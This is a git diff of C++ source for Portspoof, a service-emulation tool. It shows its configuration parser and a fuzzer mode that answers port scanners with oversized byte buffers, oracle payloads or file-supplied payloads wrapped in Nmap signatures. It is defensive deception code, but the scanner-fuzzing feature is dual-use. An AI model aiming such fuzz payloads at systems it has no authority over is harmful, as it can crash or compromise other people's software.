/usr/include/sys/appleapiopts.h:
|
||||
|
||||
/usr/include/sys/cdefs.h:
|
||||
|
||||
/usr/include/sys/_symbol_aliasing.h:
|
||||
|
||||
/usr/include/sys/_posix_availability.h:
|
||||
|
||||
/usr/include/machine/types.h:
|
||||
|
||||
/usr/include/i386/types.h:
|
||||
|
||||
/usr/include/i386/_types.h:
|
||||
|
||||
/usr/include/sys/_types.h:
|
||||
|
||||
/usr/include/machine/_types.h:
|
||||
|
||||
/usr/include/machine/endian.h:
|
||||
|
||||
/usr/include/i386/endian.h:
|
||||
|
||||
/usr/include/sys/_endian.h:
|
||||
|
||||
/usr/include/libkern/_OSByteOrder.h:
|
||||
|
||||
/usr/include/libkern/i386/_OSByteOrder.h:
|
||||
|
||||
/usr/include/sys/_structs.h:
|
||||
|
||||
/usr/include/machine/_param.h:
|
||||
|
||||
/usr/include/i386/_param.h:
|
||||
|
||||
/usr/include/Availability.h:
|
||||
|
||||
/usr/include/AvailabilityInternal.h:
|
||||
|
||||
/usr/include/assert.h:
|
||||
|
||||
/usr/include/net/if.h:
|
||||
|
||||
/usr/include/net/if_var.h:
|
||||
|
||||
/usr/include/stdint.h:
|
||||
|
||||
/usr/include/sys/time.h:
|
||||
|
||||
/usr/include/time.h:
|
||||
|
||||
/usr/include/_types.h:
|
||||
|
||||
/usr/include/_structs.h:
|
||||
|
||||
/usr/include/sys/_select.h:
|
||||
|
||||
/usr/include/sys/queue.h:
|
||||
|
||||
/usr/include/sys/ioctl.h:
|
||||
|
||||
/usr/include/sys/ttycom.h:
|
||||
|
||||
/usr/include/sys/ioccom.h:
|
||||
|
||||
/usr/include/sys/filio.h:
|
||||
|
||||
/usr/include/sys/sockio.h:
|
||||
|
||||
/usr/include/sys/stat.h:
|
||||
|
||||
/usr/include/netinet/in.h:
|
||||
|
||||
/usr/include/netinet6/in6.h:
|
||||
|
||||
/usr/include/sys/sysctl.h:
|
||||
|
||||
/usr/include/sys/ucred.h:
|
||||
|
||||
/usr/include/sys/param.h:
|
||||
|
||||
/usr/include/sys/syslimits.h:
|
||||
|
||||
/usr/include/machine/param.h:
|
||||
|
||||
/usr/include/i386/param.h:
|
||||
|
||||
/usr/include/i386/_param.h:
|
||||
|
||||
/usr/llvm-gcc-4.2/bin/../lib/gcc/i686-apple-darwin11/4.2.1/include/limits.h:
|
||||
|
||||
/usr/llvm-gcc-4.2/bin/../lib/gcc/i686-apple-darwin11/4.2.1/include/syslimits.h:
|
||||
|
||||
/usr/include/limits.h:
|
||||
|
||||
/usr/include/machine/limits.h:
|
||||
|
||||
/usr/include/i386/limits.h:
|
||||
|
||||
/usr/include/i386/_limits.h:
|
||||
|
||||
/usr/include/sys/signal.h:
|
||||
|
||||
/usr/include/machine/signal.h:
|
||||
|
||||
/usr/include/i386/signal.h:
|
||||
|
||||
/usr/include/i386/_structs.h:
|
||||
|
||||
/usr/include/machine/_structs.h:
|
||||
|
||||
/usr/include/mach/i386/_structs.h:
|
||||
|
||||
/usr/include/bsm/audit.h:
|
||||
|
||||
/usr/include/mach/port.h:
|
||||
|
||||
/usr/include/mach/boolean.h:
|
||||
|
||||
/usr/include/mach/machine/boolean.h:
|
||||
|
||||
/usr/include/mach/i386/boolean.h:
|
||||
|
||||
/usr/include/mach/machine/vm_types.h:
|
||||
|
||||
/usr/include/mach/i386/vm_types.h:
|
||||
|
||||
/usr/include/mach/i386/vm_param.h:
|
||||
|
||||
/usr/include/sys/proc.h:
|
||||
|
||||
/usr/include/sys/select.h:
|
||||
|
||||
/usr/include/sys/lock.h:
|
||||
|
||||
/usr/include/sys/event.h:
|
||||
|
||||
/usr/include/sys/vm.h:
|
||||
|
||||
/usr/include/netdb.h:
|
||||
|
||||
/usr/include/fcntl.h:
|
||||
|
||||
/usr/include/sys/fcntl.h:
|
||||
|
||||
/usr/include/err.h:
|
||||
|
||||
/usr/include/errno.h:
|
||||
|
||||
/usr/include/sys/errno.h:
|
||||
|
||||
/usr/include/stdio.h:
|
||||
|
||||
/usr/include/secure/_stdio.h:
|
||||
|
||||
/usr/include/secure/_common.h:
|
||||
|
||||
revregex.h:
|
||||
|
||||
/usr/include/string.h:
|
||||
|
||||
/usr/include/strings.h:
|
||||
|
||||
/usr/include/secure/_string.h:
|
||||
|
||||
/usr/include/stdlib.h:
|
||||
|
||||
/usr/include/sys/wait.h:
|
||||
|
||||
/usr/include/sys/resource.h:
|
||||
|
||||
/usr/include/alloca.h:
|
||||
|
||||
/usr/include/ctype.h:
|
||||
|
||||
/usr/include/runetype.h:
|
||||
|
||||
threads.h:
|
||||
|
||||
porspoof.h:
|
@ -1 +0,0 @@
|
||||
# dummy
|
@ -1 +0,0 @@
|
||||
# dummy
|
@ -1 +0,0 @@
|
||||
# dummy
|
@ -1 +0,0 @@
|
||||
# dummy
|
@ -1 +0,0 @@
|
||||
# dummy
|
360
src/Configuration.cpp
Executable file
360
src/Configuration.cpp
Executable file
@ -0,0 +1,360 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include "Configuration.h"
|
||||
|
||||
Configuration::Configuration()
|
||||
{
|
||||
configfile = std::string(CONF_FILE);
|
||||
signaturefile = std::string(SIGNATURE_FILE);
|
||||
logfile = std::string(LOG_FILE);
|
||||
bind_ip=std::string();
|
||||
username=std::string(DAEMON_USER);
|
||||
group=std::string(DAEMON_USER);
|
||||
|
||||
port=DEFAULT_PORT;
|
||||
opts=0;
|
||||
nmapfuzzsignatures_file = std::string(NMAP_FUZZ_FILE_SIG);
|
||||
fuzzpayload_file = std::string(FUZZ_FILE_PAYLOAD);
|
||||
thread_number=MAX_THREADS;
|
||||
fuzzing_mode=0;
|
||||
return;
|
||||
}
|
||||
|
||||
bool Configuration::getConfigValue(int value)
|
||||
{
|
||||
return this->opts[value];
|
||||
}
|
||||
|
||||
void Configuration::usage(void)
|
||||
{
|
||||
fprintf(stdout,"Usage: portspoof [OPTION]...\n"
|
||||
"Portspoof - service signature emulator / exploitation framework.\n\n"
|
||||
"-i ip : Bind to a particular IP address\n"
|
||||
"-p port : Bind to a particular PORT number\n"
|
||||
"-s file_path : Portspoof service signature regex. file\n"
|
||||
"-c file_path : Portspoof configuration file\n"
|
||||
"-l file_path : Log port scanning alerts to a file\n"
|
||||
"-f file_path : FUZZER_MODE - fuzzing payload file list \n"
|
||||
"-n file_path : FUZZER_MODE - wrapping signatures file list\n"
|
||||
"-1 FUZZER_MODE - generate fuzzing payloads internally\n"
|
||||
"-3 FUZZER_MODE - generate random byte values !\n"
|
||||
"-2 switch to simple reply mode (doesn't work for Nmap)!\n"
|
||||
"-D run as daemon process\n"
|
||||
"-d disable syslog\n"
|
||||
"-v be verbose\n"
|
||||
"-h display this help and exit\n");
|
||||
|
||||
exit(1);
|
||||
}
|
||||
|
||||
bool Configuration::processArgs(int argc, char** argv)
|
||||
{
|
||||
int ch;
|
||||
extern char *__progname;
|
||||
|
||||
while ((ch = getopt(argc, argv,"l:i:p:s:c:f:n:dvh123D")) != -1) {
|
||||
switch (ch) {
|
||||
case 'i':
|
||||
this->bind_ip = std::string(optarg);
|
||||
this->opts[OPT_IP]=1;
|
||||
break;
|
||||
case 'p':
|
||||
this->port = atoi(optarg);
|
||||
this->opts[OPT_PORT]=1;
|
||||
break;
|
||||
case 's':
|
||||
this->signaturefile = std::string(optarg);
|
||||
fprintf(stdout,"-> Using user defined signature file %s\n",this->signaturefile.c_str());
|
||||
this->opts[OPT_SIG_FILE]=1;
|
||||
|
||||
break;
|
||||
case 'c':
|
||||
this->configfile = std::string(optarg);
|
||||
this->opts[OPT_CONFIG_FILE]=1;
|
||||
fprintf(stdout,"-> Using user defined configuration file %s\n",this->configfile.c_str());
|
||||
break;
|
||||
case 'v':
|
||||
this->opts[OPT_DEBUG]=1;
|
||||
fprintf(stdout,"-> Verbose mode on.\n");
|
||||
break;
|
||||
case 'd':
|
||||
this->opts[OPT_SYSLOG_DIS]=1;
|
||||
fprintf(stdout,"-> Syslog logging disabled.\n");
|
||||
break;
|
||||
case 'D':
|
||||
this->opts[OPT_RUN_AS_D]=1;
|
||||
break;
|
||||
case 'l':
|
||||
this->opts[OPT_LOG_FILE]=1;
|
||||
this->logfile = std::string(optarg);
|
||||
fprintf(stdout,"-> Using log file %s\n",this->logfile.c_str());
|
||||
//check log file
|
||||
Utils::log_create(configuration->getLogFile().c_str());
|
||||
break;
|
||||
case 'f':
|
||||
this->opts[OPT_FUZZ_WORDLIST]=1;
|
||||
this->fuzzpayload_file=std::string(optarg);
|
||||
fprintf(stdout,"-> Reading fuzzing payloads from a file %s!\n",this->fuzzpayload_file.c_str());
|
||||
break;
|
||||
case 'n':
|
||||
this->opts[OPT_FUZZ_NMAP]=1;
|
||||
this->nmapfuzzsignatures_file=std::string(optarg);
|
||||
fprintf(stdout,"-> Payload wrapping mode!\n");
|
||||
break;
|
||||
case '1':
|
||||
this->opts[OPT_FUZZ_INTERNAL]=1;
|
||||
fprintf(stdout,"-> Generate fuzzing payloads internally!\n");
|
||||
break;
|
||||
case '2':
|
||||
this->opts[OPT_NOT_NMAP_SCANNER]=1;
|
||||
fprintf(stdout,"-> Switching to simple reply mode (anything apart from Nmap)!\n");
|
||||
break;
|
||||
case '3':
|
||||
this->opts[OPT_FUZZ_RANDOM]=1;
|
||||
fprintf(stdout,"-> Random int fuzzing!\n");
|
||||
break;
|
||||
case 'h':
|
||||
this->usage();
|
||||
break;
|
||||
default:
|
||||
fprintf(stdout,"Try ` %s -h' for more information.\n\n", __progname);
|
||||
exit(0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(this->opts==0)
|
||||
{
|
||||
fprintf(stdout,"-> No parameters - using default values.\n");
|
||||
}
|
||||
|
||||
if(this->getConfigValue(OPT_FUZZ_NMAP) ||this->getConfigValue(OPT_FUZZ_WORDLIST) || this->getConfigValue(OPT_FUZZ_INTERNAL))
|
||||
{
|
||||
this->fuzzer=new Fuzzer(this);
|
||||
this->thread_number=1; //set thread count to 1 due to race conditions
|
||||
this->fuzzing_mode=1;
|
||||
}
|
||||
|
||||
if(this->fuzzing_mode == 0)
|
||||
{
|
||||
|
||||
if(this->processSignatureFile())
|
||||
exit(1);
|
||||
|
||||
if(this->readConfigFile())
|
||||
exit(1);
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
std::string Configuration::getConfigFile()
|
||||
{
|
||||
return this->configfile;
|
||||
}
|
||||
std::string Configuration::getSignatureFile()
|
||||
{
|
||||
return this->signaturefile;
|
||||
|
||||
}
|
||||
std::string Configuration::getNmapfuzzSignaturesFile()
|
||||
{
|
||||
return this->nmapfuzzsignatures_file;
|
||||
}
|
||||
std::string Configuration::getFuzzPayloadFile()
|
||||
{
|
||||
return this->fuzzpayload_file;
|
||||
|
||||
}
|
||||
std::string Configuration::getLogFile()
|
||||
{
|
||||
return this->logfile;
|
||||
}
|
||||
|
||||
std::string Configuration::getBindIP()
|
||||
{
|
||||
return this->bind_ip;
|
||||
}
|
||||
|
||||
unsigned short int Configuration::getPort()
|
||||
{
|
||||
return this->port;
|
||||
}
|
||||
|
||||
|
||||
int Configuration::getThreadNr()
|
||||
{
|
||||
return this->thread_number;
|
||||
}
|
||||
|
||||
|
||||
int Configuration::getUserid()
|
||||
{
|
||||
struct passwd *pwd = getpwnam(this->username.c_str());
|
||||
if(pwd) return pwd->pw_uid;
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int Configuration::getGroupid()
|
||||
{
|
||||
struct group *grp = getgrnam(this->group.c_str());
|
||||
if(grp) return grp->gr_gid;
|
||||
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
std::vector<char> Configuration::mapPort2Signature(unsigned short port)
|
||||
{
|
||||
|
||||
if(this->opts[OPT_FUZZ_NMAP] || this->opts[OPT_FUZZ_INTERNAL] || this->opts[OPT_FUZZ_WORDLIST])
|
||||
{
|
||||
std::vector<char> result_vector;
|
||||
result_vector=this->fuzzer->GetFUZZ();
|
||||
return result_vector;
|
||||
}
|
||||
else
|
||||
return this->portsignatureemap[port];
|
||||
}
|
||||
|
||||
bool Configuration::processSignatureFile()
|
||||
{
|
||||
|
||||
char buf_file[BUFSIZE];
|
||||
|
||||
FILE *fp = fopen(this->signaturefile.c_str(), "r");
|
||||
if (fp == NULL) {
|
||||
fprintf(stdout,"Error opening signature file: %s \n",this->signaturefile.c_str());
|
||||
return 1;
|
||||
}
|
||||
|
||||
while (fgets(buf_file, BUFSIZE, fp))
|
||||
rawsignatures.push_back(std::string(buf_file));
|
||||
|
||||
fclose(fp);
|
||||
|
||||
// set random mapping
|
||||
srand((unsigned)time(0));
|
||||
for(int i=0;i<MAX_PORTS;i++)
|
||||
{
|
||||
portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[rand()%rawsignatures.size()])));
|
||||
//portsignatureemap.insert(make_pair(i,process_signature(rawsignatures[i%rawsignatures.size()])));
|
||||
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
bool Configuration::readConfigFile()
|
||||
{
|
||||
char tmp[BUFSIZE], str1[BUFSIZE], str2[BUFSIZE];
|
||||
int lp,hp;
|
||||
std::stringstream ss;
|
||||
|
||||
|
||||
FILE *fp = fopen(this->configfile.c_str(), "r");
|
||||
if (fp == NULL) {
|
||||
fprintf(stdout,"Error opening file: %s \n",this->configfile.c_str());
|
||||
return 1;
|
||||
}
|
||||
|
||||
while (fgets(tmp, BUFSIZE, fp))
|
||||
if (strlen(tmp) >1 && tmp[0]!='#')
|
||||
{
|
||||
|
||||
if(sscanf(tmp, "%s %s",str1,str2)==EOF){
|
||||
fprintf(stdout,"Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(str1==NULL || str2==NULL)
|
||||
{
|
||||
fprintf(stdout,"Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(Utils::isNumeric(str1)) //single port
|
||||
{
|
||||
sscanf(str1,"%d",&lp);
|
||||
//DEBUG
|
||||
//fprintf(stdout,"port %d value: %s\n",lp,Utils::get_substring_value(tmp));
|
||||
|
||||
portsignatureemap[lp]=process_signature(std::string(Utils::get_substring_value(tmp)));
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(sscanf(str1, "%d-%d",&lp,&hp)==EOF){
|
||||
fprintf(stdout,"Error in configuration file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if(lp==0 || hp==0)
|
||||
{
|
||||
fprintf(stdout,"Error in configuration file");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
//DEBUG
|
||||
//fprintf(stdout,"range port %d-%d value: %s\n",lp,hp,Utils::get_substring_value(tmp));
|
||||
|
||||
for(int i=lp;i<=hp;i++)
|
||||
portsignatureemap[i]=process_signature(std::string(Utils::get_substring_value(tmp)));
|
||||
|
||||
continue;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
147
src/Configuration.h
Executable file
147
src/Configuration.h
Executable file
@ -0,0 +1,147 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#ifndef CONFIG_H
|
||||
#define CONFIG_H
|
||||
|
||||
#define CONFSEPARATOR "/"
|
||||
#define DEFAULT_PORT 4444
|
||||
|
||||
#define LOG_FILE "portspoof.log"
|
||||
#define CONF_FILE "portspoof.conf"
|
||||
#define SIGNATURE_FILE "portspoof_signatures"
|
||||
|
||||
#define DAEMON_USER "daemon"
|
||||
#define DAEMON_GROUP "daemon"
|
||||
|
||||
#define OPT_FUZZ_WORDLIST 1
|
||||
#define OPT_IP 2
|
||||
#define OPT_PORT 3
|
||||
#define OPT_DEBUG 4
|
||||
#define OPT_SIG_FILE 5
|
||||
#define OPT_LOG_FILE 6
|
||||
#define OPT_SYSLOG_DIS 7
|
||||
#define OPT_CONFIG_FILE 8
|
||||
#define OPT_FUZZ_NMAP 9
|
||||
#define OPT_FUZZ_INTERNAL 10
|
||||
#define OPT_NOT_NMAP_SCANNER 11
|
||||
#define OPT_FUZZ_RANDOM 12
|
||||
#define OPT_RUN_AS_D 13
|
||||
|
||||
|
||||
#define MAX_PORTS 65535
|
||||
|
||||
#include <string>
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
#include <map>
|
||||
#include <vector>
|
||||
#include <sstream>
|
||||
#include <unistd.h>
|
||||
#include <algorithm>
|
||||
#include <iostream>
|
||||
#include <ctime>
|
||||
#include <bitset>
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <pwd.h>
|
||||
#include <grp.h>
|
||||
#include <unistd.h>
|
||||
|
||||
|
||||
#include "Utils.h"
|
||||
#include "Threads.h"
|
||||
|
||||
|
||||
#include "revregex.h"
|
||||
#include "connection.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
|
||||
typedef map < unsigned short, std::vector<char> > Port_Signature_Map;
|
||||
typedef vector < string > Raw_Signatures_Vector;
|
||||
typedef vector < string > Nmap_Fuzz_Vector;
|
||||
class Fuzzer;
|
||||
|
||||
#include "Fuzzer.h"
|
||||
|
||||
|
||||
class Configuration {
|
||||
private:
|
||||
std::string configfile;
|
||||
std::string signaturefile;
|
||||
std::string logfile;
|
||||
std::string bind_ip;
|
||||
std::string username;
|
||||
std::string group;
|
||||
|
||||
unsigned short int port;
|
||||
int thread_number;
|
||||
bool fuzzing_mode;
|
||||
bitset<20> opts;
|
||||
Fuzzer* fuzzer;
|
||||
std::string nmapfuzzsignatures_file;
|
||||
std::string fuzzpayload_file;
|
||||
Port_Signature_Map portsignatureemap;
|
||||
Raw_Signatures_Vector rawsignatures;
|
||||
|
||||
|
||||
public:
|
||||
Configuration();
|
||||
void usage(void);
|
||||
bool processArgs(int argc, char** argv);
|
||||
bool readConfigFile();
|
||||
std::vector<char> mapPort2Signature(unsigned short port);
|
||||
bool processSignatureFile();
|
||||
|
||||
//getters
|
||||
std::string getConfigFile();
|
||||
std::string getSignatureFile();
|
||||
std::string getLogFile();
|
||||
std::string getBindIP();
|
||||
std::string getNmapfuzzSignaturesFile();
|
||||
std::string getFuzzPayloadFile();
|
||||
bool getConfigValue(int value);
|
||||
unsigned short int getPort();
|
||||
int getThreadNr();
|
||||
int getGroupid();
|
||||
int getUserid();
|
||||
};
|
||||
|
||||
|
||||
#endif
|
203
src/Fuzzer.cpp
Executable file
203
src/Fuzzer.cpp
Executable file
@ -0,0 +1,203 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include "Fuzzer.h"
|
||||
|
||||
Fuzzer::Fuzzer()
|
||||
{
|
||||
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
Fuzzer::Fuzzer(Configuration* configuration)
|
||||
{
|
||||
|
||||
this->configuration = configuration;
|
||||
this->nmapfuzzsignatures_file = configuration->getNmapfuzzSignaturesFile();
|
||||
this->fuzzpayload_file = configuration->getFuzzPayloadFile();
|
||||
this->counter=0;
|
||||
this->payload_counter=0;
|
||||
this->PrepareFuzzer();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
bool Fuzzer::PrepareFuzzer()
|
||||
{
|
||||
|
||||
if(this->configuration->getConfigValue(OPT_FUZZ_WORDLIST))
|
||||
{
|
||||
|
||||
this->fp_payloads=fopen(this->fuzzpayload_file.c_str(), "r");
|
||||
if ( this->fp_payloads == NULL) {
|
||||
fprintf(stdout,"Error opening payload file: %s \n",this->fuzzpayload_file.c_str());
|
||||
return 1;
|
||||
}
|
||||
|
||||
}
|
||||
/////
|
||||
|
||||
if(this->configuration->getConfigValue(OPT_FUZZ_NMAP))
|
||||
{
|
||||
|
||||
FILE *fp = fopen(this->nmapfuzzsignatures_file.c_str(), "r");
|
||||
if (fp == NULL) {
|
||||
fprintf(stdout,"Error opening nmap signature file: %s \n",this->nmapfuzzsignatures_file.c_str());
|
||||
return 1;
|
||||
}
|
||||
|
||||
char buf_file[BUFSIZE];
|
||||
while (fgets(buf_file, BUFSIZE, fp))
|
||||
nmapfuzzsignatures.push_back(std::string(buf_file));
|
||||
fclose(fp);
|
||||
fprintf(stdout,"-> Nmap signatures read: %d \n",this->nmapfuzzsignatures.size());
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
std::vector<char> Fuzzer::intToBytes(int paramInt)
|
||||
{
|
||||
vector<char> arrayOfByte(4);
|
||||
for (int i = 0; i < 4; i++)
|
||||
arrayOfByte[3 - i] = (paramInt >> (i * 8));
|
||||
return arrayOfByte;
|
||||
}
|
||||
|
||||
|
||||
std::vector<char> Fuzzer::shortToBytes(unsigned short paramInt)
|
||||
{
|
||||
vector<char> arrayOfByte(2);
|
||||
for (int i = 0; i < 2; i++)
|
||||
arrayOfByte[1 - i] = (paramInt >> (i * 4));
|
||||
return arrayOfByte;
|
||||
}
|
||||
|
||||
std::vector<char> Fuzzer::GenerateFuzzPayload()
|
||||
{
|
||||
std::vector<char> result_vector;
|
||||
std::string str;
|
||||
|
||||
|
||||
if(this->configuration->getConfigValue(OPT_FUZZ_RANDOM))
|
||||
{
|
||||
|
||||
for(int i=0;i<255;i++)
|
||||
result_vector.push_back(i);
|
||||
return result_vector;
|
||||
|
||||
}
|
||||
|
||||
|
||||
if(this->payload_counter<10)
|
||||
{
|
||||
for(int i=0;i<4000*(this->payload_counter+1);i++)
|
||||
result_vector.push_back(*(fuzz_oracle[0]));
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
str=std::string(fuzz_oracle[this->payload_counter-9]);
|
||||
result_vector=Utils::str2vector(str);
|
||||
}
|
||||
|
||||
this->payload_counter++;
|
||||
|
||||
if(this->payload_counter>=25)
|
||||
this->payload_counter=0;
|
||||
|
||||
return result_vector;
|
||||
|
||||
}
|
||||
|
||||
std::vector<char> Fuzzer::GetFUZZ()
|
||||
{
|
||||
std::vector<char> result_vector;
|
||||
|
||||
if(this->configuration->getConfigValue(OPT_FUZZ_WORDLIST))
|
||||
{
|
||||
|
||||
|
||||
if(this->counter%this->nmapfuzzsignatures.size()==0)
|
||||
{
|
||||
|
||||
char buf_file[BUFSIZE];
|
||||
std::string str;
|
||||
|
||||
if(fgets(buf_file, BUFSIZE, this->fp_payloads)==NULL)
|
||||
{
|
||||
fprintf(stdout,"EOF of payload file\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
str=std::string(buf_file);
|
||||
str.erase(str.size() - 1);//remove \n
|
||||
this->input_line=Utils::str2vector(str);
|
||||
|
||||
}
|
||||
|
||||
this->counter++;
|
||||
|
||||
}
|
||||
else if(this->configuration->getConfigValue(OPT_FUZZ_INTERNAL))
|
||||
{
|
||||
result_vector=this->GenerateFuzzPayload();
|
||||
}
|
||||
else
|
||||
fprintf(stdout,"Fuzz - shouldn't be here...\n");
|
||||
|
||||
|
||||
if(this->configuration->getConfigValue(OPT_FUZZ_NMAP))
|
||||
{
|
||||
|
||||
if(this->configuration->getConfigValue(OPT_FUZZ_WORDLIST))
|
||||
result_vector=Utils::wrapNMAP(this->nmapfuzzsignatures[this->counter%this->nmapfuzzsignatures.size()],this->input_line);
|
||||
else if(this->configuration->getConfigValue(OPT_FUZZ_INTERNAL))
|
||||
result_vector=Utils::wrapNMAP(this->nmapfuzzsignatures[this->counter%this->nmapfuzzsignatures.size()],result_vector);
|
||||
|
||||
result_vector=Utils::unescape(result_vector);
|
||||
|
||||
}
|
||||
|
||||
return result_vector;
|
||||
|
||||
|
||||
}
|
114
src/Fuzzer.h
Executable file
114
src/Fuzzer.h
Executable file
@ -0,0 +1,114 @@
|
||||
/*
|
||||
* Portspoof - Service Signature Emulator / Exploitation Framework Frontend
|
||||
* Copyright (C) 2012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on Portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of Portspoof
|
||||
* gives you permission to combine Portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* Portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of Portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
|
||||
#ifndef FUZZER_H
|
||||
#define FUZZER_H
|
||||
|
||||
#include <string>
|
||||
#include <stdio.h>
|
||||
